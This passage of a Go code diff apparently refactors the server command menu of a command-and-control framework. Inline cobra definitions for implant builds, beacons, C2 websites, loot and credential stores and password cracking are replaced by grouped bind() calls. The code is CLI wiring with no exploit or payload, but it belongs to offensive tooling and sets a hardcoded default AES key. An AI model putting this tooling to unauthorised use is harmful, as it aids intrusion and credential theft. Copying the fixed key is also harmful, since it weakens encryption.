- f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)") - }) - FlagComps(profilesNewBeaconCmd, func(comp *carapace.ActionMap) { - (*comp)["debug-file"] = carapace.ActionFiles() - (*comp)["os"] = generate.OSCompleter(con) - (*comp)["arch"] = generate.ArchCompleter(con) - (*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy") - (*comp)["format"] = generate.FormatCompleter() - (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") - }) - carapace.Gen(profilesNewBeaconCmd).PositionalCompletion(carapace.ActionValues().Usage("name of the beacon profile (optional)")) - profilesNewCmd.AddCommand(profilesNewBeaconCmd) - - profilesRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a profile", - Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.RmStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - generate.ProfilesRmCmd(cmd, con, args) - }, - } - carapace.Gen(profilesRmCmd).PositionalCompletion(generate.ProfileNameCompleter(con)) - profilesCmd.AddCommand(profilesRmCmd) - - profilesInfoCmd := &cobra.Command{ - Use: consts.InfoStr, - Short: "Details about a profile", - Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.RmStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - generate.PrintProfileInfo(args[0], con) - }, - } - carapace.Gen(profilesInfoCmd).PositionalCompletion(generate.ProfileNameCompleter(con)) - profilesCmd.AddCommand(profilesInfoCmd) - - implantBuildsCmd := &cobra.Command{ - Use: consts.ImplantBuildsStr, - Short: "List implant builds", - Long: help.GetHelpFor([]string{consts.ImplantBuildsStr}), - Run: func(cmd *cobra.Command, args []string) { - generate.ImplantsCmd(cmd, con, args) - }, - GroupID: consts.PayloadsHelpGroup, - } - Flags("implants", true, implantBuildsCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - Flags("implants", false, implantBuildsCmd, func(f *pflag.FlagSet) { - f.StringP("os", "o", "", "filter builds by operating system") - f.StringP("arch", "a", "", "filter builds by cpu architecture") - f.StringP("format", "f", "", "filter builds by artifact format") - f.BoolP("only-sessions", "s", false, "filter interactive sessions") - f.BoolP("only-beacons", "b", false, "filter beacons") - f.BoolP("no-debug", "d", false, "filter builds by debug flag") - }) - FlagComps(profilesNewBeaconCmd, func(comp *carapace.ActionMap) { - (*comp)["os"] = generate.OSCompleter(con) - (*comp)["arch"] = generate.ArchCompleter(con) - (*comp)["format"] = generate.FormatCompleter() - }) - server.AddCommand(implantBuildsCmd) - - implantsRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove implant build", - Long: help.GetHelpFor([]string{consts.ImplantBuildsStr, consts.RmStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - generate.ImplantsRmCmd(cmd, con, args) - }, - } - carapace.Gen(implantsRmCmd).PositionalCompletion(generate.ImplantBuildNameCompleter(con)) - implantBuildsCmd.AddCommand(implantsRmCmd) - - canariesCmd := &cobra.Command{ - Use: consts.CanariesStr, - Short: "List previously generated canaries", - Long: help.GetHelpFor([]string{consts.CanariesStr}), - Run: func(cmd *cobra.Command, args []string) { - generate.CanariesCmd(cmd, con, args) - }, - GroupID: consts.PayloadsHelpGroup, - } - Flags("canaries", false, canariesCmd, func(f *pflag.FlagSet) { - f.BoolP("burned", "b", false, "show only triggered/burned canaries") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - // [ Websites ] --------------------------------------------- - - websitesCmd := &cobra.Command{ - Use: consts.WebsitesStr, - Short: "Host static content (used with HTTP C2)", - Long: help.GetHelpFor([]string{consts.WebsitesStr}), - Run: func(cmd *cobra.Command, args []string) { - websites.WebsitesCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - server.AddCommand(websitesCmd) - Flags("websites", true, websitesCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(websitesCmd).PositionalCompletion(websites.WebsiteNameCompleter(con)) - - websitesRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove an entire website and all of its contents", - Long: help.GetHelpFor([]string{consts.WebsitesStr, consts.RmStr}), - Run: func(cmd *cobra.Command, args []string) { - websites.WebsiteRmCmd(cmd, con, args) - }, - } - carapace.Gen(websitesRmCmd).PositionalCompletion(websites.WebsiteNameCompleter(con)) - websitesCmd.AddCommand(websitesRmCmd) - - websitesRmWebContentCmd := &cobra.Command{ - Use: consts.RmWebContentStr, - Short: "Remove specific content from a website", - Long: help.GetHelpFor([]string{consts.WebsitesStr, consts.RmWebContentStr}), - Run: func(cmd *cobra.Command, args []string) { - websites.WebsitesRmContent(cmd, con, args) - }, - } - Flags("websites", false, websitesRmWebContentCmd, func(f *pflag.FlagSet) { - f.BoolP("recursive", "r", false, "recursively add/rm content") - f.StringP("website", "w", "", "website name") - f.StringP("web-path", "p", "", "http path to host file at") - }) - websitesCmd.AddCommand(websitesRmWebContentCmd) - FlagComps(websitesRmWebContentCmd, func(comp *carapace.ActionMap) { - (*comp)["website"] = websites.WebsiteNameCompleter(con) - }) - - websitesContentCmd := &cobra.Command{ - Use: consts.AddWebContentStr, - Short: "Add content to a website", - Long: help.GetHelpFor([]string{consts.WebsitesStr, consts.RmWebContentStr}), - Run: func(cmd *cobra.Command, args []string) { - websites.WebsitesAddContentCmd(cmd, con, args) - }, - } - Flags("websites", false, websitesContentCmd, func(f *pflag.FlagSet) { - f.StringP("website", "w", "", "website name") - f.StringP("content-type", "m", "", "mime content-type (if blank use file ext.)") - f.StringP("web-path", "p", "/", "http path to host file at") - f.StringP("content", "c", "", "local file path/dir (must use --recursive for dir)") - f.BoolP("recursive", "r", false, "recursively add/rm content") - }) - FlagComps(websitesContentCmd, func(comp *carapace.ActionMap) { - (*comp)["content"] = carapace.ActionFiles().Tag("content directory/files") - (*comp)["website"] = websites.WebsiteNameCompleter(con) - }) - websitesCmd.AddCommand(websitesContentCmd) - - websitesContentTypeCmd := &cobra.Command{ - Use: consts.WebContentTypeStr, - Short: "Update a path's content-type", - Long: help.GetHelpFor([]string{consts.WebsitesStr, consts.WebContentTypeStr}), - Run: func(cmd *cobra.Command, args []string) { - websites.WebsitesUpdateContentCmd(cmd, con, args) - }, - } - Flags("websites", false, websitesContentTypeCmd, func(f *pflag.FlagSet) { - f.StringP("website", "w", "", "website name") - f.StringP("content-type", "m", "", "mime content-type (if blank use file ext.)") - f.StringP("web-path", "p", "/", "http path to host file at") - }) - websitesCmd.AddCommand(websitesContentTypeCmd) - FlagComps(websitesContentTypeCmd, func(comp *carapace.ActionMap) { - (*comp)["website"] = websites.WebsiteNameCompleter(con) - }) - - // [ Beacons ] --------------------------------------------- - - beaconsCmd := &cobra.Command{ - Use: consts.BeaconsStr, - Short: "Manage beacons", - Long: help.GetHelpFor([]string{consts.BeaconsStr}), - GroupID: consts.SliverHelpGroup, - Run: func(cmd *cobra.Command, args []string) { - beacons.BeaconsCmd(cmd, con, args) - }, - } - Flags("beacons", true, beaconsCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - Flags("beacons", false, beaconsCmd, func(f *pflag.FlagSet) { - f.StringP("kill", "k", "", "kill the designated beacon") - f.BoolP("kill-all", "K", false, "kill all beacons") - f.BoolP("force", "F", false, "force killing the beacon") - - f.StringP("filter", "f", "", "filter beacons by substring") - f.StringP("filter-re", "e", "", "filter beacons by regular expression") - }) - FlagComps(beaconsCmd, func(comp *carapace.ActionMap) { - (*comp)["kill"] = use.BeaconIDCompleter(con) - }) - beaconsRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a beacon", - Long: help.GetHelpFor([]string{consts.BeaconsStr, consts.RmStr}), - Run: func(cmd *cobra.Command, args []string) { - beacons.BeaconsRmCmd(cmd, con, args) - }, - } - carapace.Gen(beaconsRmCmd).PositionalCompletion(use.BeaconIDCompleter(con)) - beaconsCmd.AddCommand(beaconsRmCmd) - - beaconsWatchCmd := &cobra.Command{ - Use: consts.WatchStr, - Short: "Watch your beacons", - Long: help.GetHelpFor([]string{consts.BeaconsStr, consts.WatchStr}), - Run: func(cmd *cobra.Command, args []string) { - beacons.BeaconsWatchCmd(cmd, con, args) - }, - } - beaconsCmd.AddCommand(beaconsWatchCmd) - - beaconsPruneCmd := &cobra.Command{ - Use: consts.PruneStr, - Short: "Prune stale beacons automatically", - Long: help.GetHelpFor([]string{consts.BeaconsStr, consts.PruneStr}), - Run: func(cmd *cobra.Command, args []string) { - beacons.BeaconsPruneCmd(cmd, con, args) - }, - } - Flags("beacons", false, beaconsPruneCmd, func(f *pflag.FlagSet) { - f.StringP("duration", "d", "1h", "duration to prune beacons that have missed their last checkin") - }) - beaconsCmd.AddCommand(beaconsPruneCmd) - server.AddCommand(beaconsCmd) - - // [ Licenses ] --------------------------------------------- - - server.AddCommand(&cobra.Command{ - Use: consts.LicensesStr, - Short: "Open source licenses", - Long: help.GetHelpFor([]string{consts.LicensesStr}), - Run: func(cmd *cobra.Command, args []string) { - con.Println(licenses.All) - }, - GroupID: consts.GenericHelpGroup, - }) - - // [ WireGuard ] -------------------------------------------------------------- - - wgConfigCmd := &cobra.Command{ - Use: consts.WgConfigStr, - Short: "Generate a new WireGuard client config", - Long: help.GetHelpFor([]string{consts.WgConfigStr}), - Run: func(cmd *cobra.Command, args []string) { - wireguard.WGConfigCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - server.AddCommand(wgConfigCmd) - - Flags("wg-config", true, wgConfigCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - Flags("wg-config", false, wgConfigCmd, func(f *pflag.FlagSet) { - f.StringP("save", "s", "", "save configuration to file (.conf)") - }) - FlagComps(wgConfigCmd, func(comp *carapace.ActionMap) { - (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save config") - }) - - // [ Monitor ] -------------------------------------------------------------- - - monitorCmd := &cobra.Command{ - Use: consts.MonitorStr, - Short: "Monitor threat intel platforms for Sliver implants", - GroupID: consts.SliverHelpGroup, - } - monitorCmd.AddCommand(&cobra.Command{ - Use: "start", - Short: "Start the monitoring loops", - Run: func(cmd *cobra.Command, args []string) { - monitor.MonitorStartCmd(cmd, con, args) - }, - }) - monitorCmd.AddCommand(&cobra.Command{ - Use: "stop", - Short: "Stop the monitoring loops", - Run: func(cmd *cobra.Command, args []string) { - monitor.MonitorStopCmd(cmd, con, args) - }, - }) - server.AddCommand(monitorCmd) - - // [ Loot ] -------------------------------------------------------------- - - lootCmd := &cobra.Command{ - Use: consts.LootStr, - Short: "Manage the server's loot store", - Long: help.GetHelpFor([]string{consts.LootStr}), - Run: func(cmd *cobra.Command, args []string) { - loot.LootCmd(cmd, con, args) - }, - GroupID: consts.SliverHelpGroup, - } - Flags("loot", true, lootCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - Flags("loot", false, lootCmd, func(f *pflag.FlagSet) { - f.StringP("filter", "f", "", "filter based on loot type") - }) - - lootAddCmd := &cobra.Command{ - Use: consts.LootLocalStr, - Short: "Add a local file to the server's loot store", - Long: help.GetHelpFor([]string{consts.LootStr, consts.LootLocalStr}), - Run: func(cmd *cobra.Command, args []string) { - loot.LootAddLocalCmd(cmd, con, args) - }, - Args: cobra.ExactArgs(1), - } - lootCmd.AddCommand(lootAddCmd) - Flags("loot", false, lootAddCmd, func(f *pflag.FlagSet) { - f.StringP("name", "n", "", "name of this piece of loot") - f.StringP("type", "T", "", "force a specific loot type (file/cred)") - f.StringP("file-type", "F", "", "force a specific file type (binary/text)") - }) - FlagComps(lootAddCmd, func(comp *carapace.ActionMap) { - (*comp)["type"] = carapace.ActionValues("file", "cred").Tag("loot type") - (*comp)["file-type"] = carapace.ActionValues("binary", "text").Tag("loot file type") - }) - carapace.Gen(lootAddCmd).PositionalCompletion( - carapace.ActionFiles().Tag("local loot file").Usage("The local file path to the loot")) - - lootRemoteCmd := &cobra.Command{ - Use: consts.LootRemoteStr, - Short: "Add a remote file from the current session to the server's loot store", - Long: help.GetHelpFor([]string{consts.LootStr, consts.LootRemoteStr}), - Run: func(cmd *cobra.Command, args []string) { - loot.LootAddRemoteCmd(cmd, con, args) - }, - Args: cobra.ExactArgs(1), - } - lootCmd.AddCommand(lootRemoteCmd) - Flags("loot", false, lootRemoteCmd, func(f *pflag.FlagSet) { - f.StringP("name", "n", "", "name of this piece of loot") - f.StringP("type", "T", "", "force a specific loot type (file/cred)") - f.StringP("file-type", "F", "", "force a specific file type (binary/text)") - }) - FlagComps(lootRemoteCmd, func(comp *carapace.ActionMap) { - (*comp)["type"] = carapace.ActionValues("file", "cred").Tag("loot type") - (*comp)["file-type"] = carapace.ActionValues("binary", "text").Tag("loot file type") - }) - carapace.Gen(lootRemoteCmd).PositionalCompletion(carapace.ActionValues().Usage("The file path on the remote host to the loot")) - - lootRenameCmd := &cobra.Command{ - Use: consts.RenameStr, - Short: "Re-name a piece of existing loot", - Long: help.GetHelpFor([]string{consts.LootStr, consts.RenameStr}), - Run: func(cmd *cobra.Command, args []string) { - loot.LootRenameCmd(cmd, con, args) - }, - } - lootCmd.AddCommand(lootRenameCmd) - - lootFetchCmd := &cobra.Command{ - Use: consts.FetchStr, - Short: "Fetch a piece of loot from the server's loot store", - Long: help.GetHelpFor([]string{consts.LootStr, consts.FetchStr}), - Run: func(cmd *cobra.Command, args []string) { - loot.LootFetchCmd(cmd, con, args) - }, - } - lootCmd.AddCommand(lootFetchCmd) - Flags("loot", false, lootFetchCmd, func(f *pflag.FlagSet) { - f.StringP("save", "s", "", "save loot to a local file") - f.StringP("filter", "f", "", "filter based on loot type") - }) - FlagComps(lootFetchCmd, func(comp *carapace.ActionMap) { - (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save loot") - }) - - lootRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a piece of loot from the server's loot store", - Long: help.GetHelpFor([]string{consts.LootStr, consts.RmStr}), - Run: func(cmd *cobra.Command, args []string) { - loot.LootRmCmd(cmd, con, args) - }, - } - lootCmd.AddCommand(lootRmCmd) - Flags("loot", false, lootRmCmd, func(f *pflag.FlagSet) { - f.StringP("filter", "f", "", "filter based on loot type") - }) - - server.AddCommand(lootCmd) - - // [ Credentials ] ------------------------------------------------------------ - credsCmd := &cobra.Command{ - Use: consts.CredsStr, - Short: "Manage the database of credentials", - Long: help.GetHelpFor([]string{consts.CredsStr}), - GroupID: consts.GenericHelpGroup, - Run: func(cmd *cobra.Command, args []string) { - creds.CredsCmd(cmd, con, args) - }, - } - Flags("creds", true, credsCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - server.AddCommand(credsCmd) - - credsAddCmd := &cobra.Command{ - Use: consts.AddStr, - Short: "Add a credential to the database", - Long: help.GetHelpFor([]string{consts.CredsStr, consts.AddStr}), - Run: func(cmd *cobra.Command, args []string) { - creds.CredsAddCmd(cmd, con, args) - }, - } - Flags("", false, credsAddCmd, func(f *pflag.FlagSet) { - f.StringP("collection", "c", "", "name of collection") - f.StringP("username", "u", "", "username for the credential") - f.StringP("plaintext", "p", "", "plaintext for the credential") - f.StringP("hash", "P", "", "hash of the credential") - f.StringP("hash-type", "H", "", "hash type of the credential") - }) - FlagComps(credsAddCmd, func(comp *carapace.ActionMap) { - (*comp)["hash-type"] = creds.CredsHashTypeCompleter(con) - }) - credsCmd.AddCommand(credsAddCmd) - - credsAddFileCmd := &cobra.Command{ - Use: consts.FileStr, - Short: "Add a credential to the database", - Long: help.GetHelpFor([]string{consts.CredsStr, consts.AddStr, consts.FileStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - creds.CredsAddHashFileCmd(cmd, con, args) - }, - } - Flags("", false, credsAddFileCmd, func(f *pflag.FlagSet) { - f.StringP("collection", "c", "", "name of collection") - f.StringP("file-format", "F", creds.HashNewlineFormat, "file format of the credential file") - f.StringP("hash-type", "H", "", "hash type of the credential") - }) - FlagComps(credsAddFileCmd, func(comp *carapace.ActionMap) { - (*comp)["collection"] = creds.CredsCollectionCompleter(con) - (*comp)["file-format"] = creds.CredsHashFileFormatCompleter(con) - (*comp)["hash-type"] = creds.CredsHashTypeCompleter(con) - }) - carapace.Gen(credsAddFileCmd).PositionalCompletion(carapace.ActionFiles().Tag("credential file")) - credsAddCmd.AddCommand(credsAddFileCmd) - - credsRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a credential to the database", - Long: help.GetHelpFor([]string{consts.CredsStr, consts.RmStr}), - Run: func(cmd *cobra.Command, args []string) { - creds.CredsRmCmd(cmd, con, args) - }, - } - carapace.Gen(credsRmCmd).PositionalCompletion(creds.CredsCredentialIDCompleter(con).Usage("id of credential to remove (leave empty to select)")) - credsCmd.AddCommand(credsRmCmd) - - // [ Hosts ] --------------------------------------------------------------------- - - hostsCmd := &cobra.Command{ - Use: consts.HostsStr, - Short: "Manage the database of hosts", - Long: help.GetHelpFor([]string{consts.HostsStr}), - Run: func(cmd *cobra.Command, args []string) { - hosts.HostsCmd(cmd, con, args) - }, - GroupID: consts.SliverHelpGroup, - } - server.AddCommand(hostsCmd) - Flags("hosts", true, hostsCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - hostsRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a host from the database", - Long: help.GetHelpFor([]string{consts.HostsStr, consts.RmStr}), - Run: func(cmd *cobra.Command, args []string) { - hosts.HostsRmCmd(cmd, con, args) - }, - } - hostsCmd.AddCommand(hostsRmCmd) - - hostsIOCCmd := &cobra.Command{ - Use: consts.IOCStr, - Short: "Manage tracked IOCs on a given host", - Long: help.GetHelpFor([]string{consts.HostsStr, consts.IOCStr}), - Run: func(cmd *cobra.Command, args []string) { - hosts.HostsIOCCmd(cmd, con, args) - }, - } - hostsCmd.AddCommand(hostsIOCCmd) - - hostsIOCRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Delete IOCs from the database", - Long: help.GetHelpFor([]string{consts.HostsStr, consts.IOCStr, consts.RmStr}), - Run: func(cmd *cobra.Command, args []string) { - hosts.HostsIOCRmCmd(cmd, con, args) - }, - } - hostsIOCCmd.AddCommand(hostsIOCRmCmd) - - // [ Reactions ] ----------------------------------------------------------------- - - reactionCmd := &cobra.Command{ - Use: consts.ReactionStr, - Short: "Manage automatic reactions to events", - Long: help.GetHelpFor([]string{consts.ReactionStr}), - Run: func(cmd *cobra.Command, args []string) { - reaction.ReactionCmd(cmd, con, args) - }, - GroupID: consts.SliverHelpGroup, - } - server.AddCommand(reactionCmd) - - reactionSetCmd := &cobra.Command{ - Use: consts.SetStr, - Short: "Set a reaction to an event", - Long: help.GetHelpFor([]string{consts.ReactionStr, consts.SetStr}), - Run: func(cmd *cobra.Command, args []string) { - reaction.ReactionSetCmd(cmd, con, args) - }, - } - reactionCmd.AddCommand(reactionSetCmd) - Flags("reactions", false, reactionSetCmd, func(f *pflag.FlagSet) { - f.StringP("event", "e", "", "specify the event type to react to") - }) - - FlagComps(reactionSetCmd, func(comp *carapace.ActionMap) { - (*comp)["event"] = carapace.ActionValues( - consts.SessionOpenedEvent, - consts.SessionClosedEvent, - consts.SessionUpdateEvent, - consts.BeaconRegisteredEvent, - consts.CanaryEvent, - consts.WatchtowerEvent, + bind(consts.GenericHelpGroup, + serverCmds, ) - }) - - reactionUnsetCmd := &cobra.Command{ - Use: consts.UnsetStr, - Short: "Unset an existing reaction", - Long: help.GetHelpFor([]string{consts.ReactionStr, consts.UnsetStr}), - Run: func(cmd *cobra.Command, args []string) { - reaction.ReactionUnsetCmd(cmd, con, args) - }, } - reactionCmd.AddCommand(reactionUnsetCmd) - Flags("reactions", false, reactionUnsetCmd, func(f *pflag.FlagSet) { - f.IntP("id", "i", 0, "the id of the reaction to remove") - }) - FlagComps(reactionUnsetCmd, func(comp *carapace.ActionMap) { - (*comp)["id"] = reaction.ReactionIDCompleter(con) - }) - reactionSaveCmd := &cobra.Command{ - Use: consts.SaveStr, - Short: "Save current reactions to disk", - Long: help.GetHelpFor([]string{consts.ReactionStr, consts.SaveStr}), - Run: func(cmd *cobra.Command, args []string) { - reaction.ReactionSaveCmd(cmd, con, args) - }, - } - reactionCmd.AddCommand(reactionSaveCmd) + // [ Bind commands ] -------------------------------------------------------- + + // Below are bounds all commands of the server menu, gathered by the group + // under which they should be printed in help messages and/or completions. + // You can either add a new bindCommands() call with a new group (which will + // be automatically added to the command tree), or add your commands in one of + // the present calls. + + // Core + bind(consts.GenericHelpGroup, + exit.Command, + licenses.Commands, + settings.Commands, + alias.Commands, + armory.Commands, + update.Commands, + operator.Commands, + creds.Commands, + crack.Commands, + ) + + // C2 Network + bind(consts.NetworkHelpGroup, + transports.Commands, + jobs.Commands, + mtls.Commands, + dns.Commands, + http.Commands, + https.Commands, + tcp.Commands, + wireguard.Commands, + websites.Commands, + ) + + // Payloads + bind(consts.PayloadsHelpGroup, + sgn.Commands, + generate.Commands, + builders.Commands, + ) + + // Slivers + bind(consts.SliverHelpGroup, + use.Commands, + info.Commands, + sessions.Commands, + beacons.Commands, + monitor.Commands, + loot.Commands, + hosts.Commands, + reaction.Commands, + taskmany.Command, + ) + + // [ Post-command declaration setup ]----------------------------------------- - reactionReloadCmd := &cobra.Command{ - Use: consts.ReloadStr, - Short: "Reload reactions from disk, replaces the running configuration", - Long: help.GetHelpFor([]string{consts.ReactionStr, consts.ReloadStr}), - Run: func(cmd *cobra.Command, args []string) { - reaction.ReactionReloadCmd(cmd, con, args) - }, - } - reactionCmd.AddCommand(reactionReloadCmd) + // Everything below this line should preferably not be any command binding + // (although you can do so without fear). If there are any final modifications + // to make to the server menu command tree, it time to do them here. - // [ Prelude's Operator ] ------------------------------------------------------------ - operatorCmd := &cobra.Command{ - Use: consts.PreludeOperatorStr, - Short: "Manage connection to Prelude's Operator", - Long: help.GetHelpFor([]string{consts.PreludeOperatorStr}), - GroupID: consts.GenericHelpGroup, - Run: func(cmd *cobra.Command, args []string) { - operator.OperatorCmd(cmd, con, args) - }, - } - server.AddCommand(operatorCmd) + server.InitDefaultHelpCmd() + server.SetHelpCommandGroupID(consts.GenericHelpGroup) - operatorConnectCmd := &cobra.Command{ - Use: consts.ConnectStr, - Short: "Connect with Prelude's Operator", - Long: help.GetHelpFor([]string{consts.PreludeOperatorStr, consts.ConnectStr}), - Run: func(cmd *cobra.Command, args []string) { - operator.ConnectCmd(cmd, con, args) - }, - Args: cobra.ExactArgs(1), - } - operatorCmd.AddCommand(operatorConnectCmd) - Flags("operator", false, operatorConnectCmd, func(f *pflag.FlagSet) { - f.BoolP("skip-existing", "s", false, "Do not add existing sessions as Operator Agents") - f.StringP("aes-key", "a", "abcdefghijklmnopqrstuvwxyz012345", "AES key for communication encryption") - f.StringP("range", "r", "sliver", "Agents range") - }) - carapace.Gen(operatorConnectCmd).PositionalCompletion( - carapace.ActionValues().Usage("connection string to the Operator Host (e.g. 127.0.0.1:1234)")) + con.FilterCommands(server) - // [ Builders ] --------------------------------------------- + return server + } - buildersCmd := &cobra.Command{ - Use: consts.BuildersStr, - Short: "List external builders", - Long: help.GetHelpFor([]string{consts.BuildersStr}), - Run: func(cmd *cobra.Command, args []string) { - builders.BuildersCmd(cmd, con, args) - }, - GroupID: consts.PayloadsHelpGroup, - } - server.AddCommand(buildersCmd) - Flags("builders", false, buildersCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) + return serverCommands +} - // [ Crack ] ------------------------------------------------------------ - crackCmd := &cobra.Command{ - Use: consts.CrackStr, - Short: "Crack: GPU password cracking", - Long: help.GetHelpFor([]string{consts.CrackStr}), - GroupID: consts.GenericHelpGroup, - Run: func(cmd *cobra.Command, args []string) { - crack.CrackCmd(cmd, con, args) - }, - } - Flags("", true, crackCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - server.AddCommand(crackCmd) +// BindPreRun registers specific pre-execution runners for all +// leafs commands (and some nodes) of a given command/tree. +func BindPreRun(root *cobra.Command, runs ...CobraRunnerE) { + for _, cmd := range root.Commands() { + ePreE := cmd.PersistentPreRunE + run, runE := cmd.Run, cmd.RunE - crackStationsCmd := &cobra.Command{ - Use: consts.StationsStr, - Short: "Manage crackstations", - Long: help.GetHelpFor([]string{consts.CrackStr, consts.StationsStr}), - Run: func(cmd *cobra.Command, args []string) { - crack.CrackStationsCmd(cmd, con, args) - }, + // Don't modify commands in charge on their own tree. + if ePreE != nil { + continue } - crackCmd.AddCommand(crackStationsCmd) - wordlistsCmd := &cobra.Command{ - Use: consts.WordlistsStr, - Short: "Manage wordlists", - Long: help.GetHelpFor([]string{consts.CrackStr, consts.WordlistsStr}), - Run: func(cmd *cobra.Command, args []string) { - crack.CrackWordlistsCmd(cmd, con, args) - }, + // Always go to find the leaf commands, irrespective + // of what we do with this parent command. + if cmd.HasSubCommands() { + BindPreRun(cmd, runs...) } - crackCmd.AddCommand(wordlistsCmd) - wordlistsAddCmd := &cobra.Command{ - Use: consts.AddStr, - Short: "Add a wordlist", - Run: func(cmd *cobra.Command, args []string) { - crack.CrackWordlistsAddCmd(cmd, con, args) - }, + // If the command has no runners, there's nothing to bind: + // If it has flags, any child command requiring them should + // trigger the prerunners, which will connect to the server. + if run == nil && runE == nil { + continue } - Flags("", false, wordlistsAddCmd, func(f *pflag.FlagSet) { - f.StringP("name", "n", "", "wordlist name (blank = filename)") - }) - carapace.Gen(wordlistsAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local wordlist file")) - wordlistsCmd.AddCommand(wordlistsAddCmd) - wordlistsRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a wordlist", - Run: func(cmd *cobra.Command, args []string) { - crack.CrackWordlistsRmCmd(cmd, con, args) - }, + // Else we have runners, bind the pre-runs if possible. + if cmd.PreRunE != nil { + continue } - wordlistsCmd.AddCommand(wordlistsRmCmd) - carapace.Gen(wordlistsRmCmd).PositionalCompletion(crack.CrackWordlistCompleter(con).Usage("wordlist to remove")) - rulesCmd := &cobra.Command{ - Use: consts.RulesStr, - Short: "Manage rule files", - Long: help.GetHelpFor([]string{consts.CrackStr, consts.RulesStr}), - Run: func(cmd *cobra.Command, args []string) { - crack.CrackRulesCmd(cmd, con, args) - }, - } - crackCmd.AddCommand(rulesCmd) + // Compound all runners together. + cRun := func(c *cobra.Command, args []string) error { + for _, run := range runs { + err := run(c, args) + if err != nil { + return err + } + } - rulesAddCmd := &cobra.Command{ - Use: consts.AddStr, - Short: "Add a rules file", - Long: help.GetHelpFor([]string{consts.CrackStr, consts.RulesStr, consts.AddStr}), - Run: func(cmd *cobra.Command, args []string) { - crack.CrackRulesAddCmd(cmd, con, args) - }, + return nil } - Flags("", false, rulesAddCmd, func(f *pflag.FlagSet) { - f.StringP("name", "n", "", "rules name (blank = filename)") - }) - carapace.Gen(rulesAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local rules file")) - rulesCmd.AddCommand(rulesAddCmd) - rulesRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove rules", - Long: help.GetHelpFor([]string{consts.CrackStr, consts.RulesStr, consts.RmStr}), - Run: func(cmd *cobra.Command, args []string) { - crack.CrackRulesRmCmd(cmd, con, args) - }, - } - carapace.Gen(rulesRmCmd).PositionalCompletion(crack.CrackRulesCompleter(con).Usage("rules to remove")) - rulesCmd.AddCommand(rulesRmCmd) + // Bind + cmd.PreRunE = cRun + } +} - hcstat2Cmd := &cobra.Command{ - Use: consts.Hcstat2Str, - Short: "Manage markov hcstat2 files", - Long: help.GetHelpFor([]string{consts.CrackStr, consts.Hcstat2Str}), - Run: func(cmd *cobra.Command, args []string) { - crack.CrackHcstat2Cmd(cmd, con, args) - }, - } - crackCmd.AddCommand(hcstat2Cmd) +// BindPostRun registers specific post-execution runners for all +// leafs commands (and some nodes) of a given command/tree. +func BindPostRun(root *cobra.Command, runs ...CobraRunnerE) { + for _, cmd := range root.Commands() { + ePostE := cmd.PersistentPostRunE + run, runE := cmd.Run, cmd.RunE - hcstat2AddCmd := &cobra.Command{ - Use: consts.AddStr, - Short: "Add a hcstat2 file", - Long: help.GetHelpFor([]string{consts.CrackStr, consts.Hcstat2Str, consts.AddStr}), - Run: func(cmd *cobra.Command, args []string) { - crack.CrackHcstat2AddCmd(cmd, con, args) - }, + // Don't modify commands in charge on their own tree. + if ePostE != nil { + continue } - Flags("", false, hcstat2AddCmd, func(f *pflag.FlagSet) { - f.StringP("name", "n", "", "hcstat2 name (blank = filename)") - }) - carapace.Gen(hcstat2AddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local hcstat2 file")) - hcstat2Cmd.AddCommand(hcstat2AddCmd) - hcstat2RmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove hcstat2 file", - Long: help.GetHelpFor([]string{consts.CrackStr, consts.Hcstat2Str, consts.RmStr}), - Run: func(cmd *cobra.Command, args []string) { - crack.CrackHcstat2RmCmd(cmd, con, args) - }, + // Always go to find the leaf commands, irrespective + // of what we do with this parent command. + if cmd.HasSubCommands() { + BindPostRun(cmd, runs...) } - 